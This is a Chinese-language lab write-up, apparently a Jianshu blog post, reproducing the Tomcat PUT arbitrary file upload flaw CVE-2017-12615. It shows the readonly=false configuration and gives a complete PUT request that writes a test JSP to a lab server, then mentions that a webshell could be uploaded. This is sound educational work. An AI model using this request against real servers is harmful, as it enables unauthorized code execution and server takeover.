漏洞复现-通过PUT方法的Tomcat任意写入文件漏洞(CVE-2017-12615)

漏洞复现-通过PUT方法的Tomcat任意写入文件漏洞(CVE-2017-12615)

当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。

环境准备

image.png

访问http://ip:8080
image.png

要满足这个漏洞的产生,需要tomcat配置readonly = false。
这导致我们可以将文件写到服务器中。
进入docker容器tomcat中
image.png

发现web.xml配置文件中的readonly = false
image.png

达成可以漏洞利用的条件。
构造一个put形式的请求包。

PUT /test.jsp/ HTTP/1.1
Host: 192.168.154.129:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

<% out.print("hello"); %>
image.png

完成后访问生成的路径,发现成功执行了请求代码。


image.png

攻击者可以成功上传 webshell,并控制服务器。

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。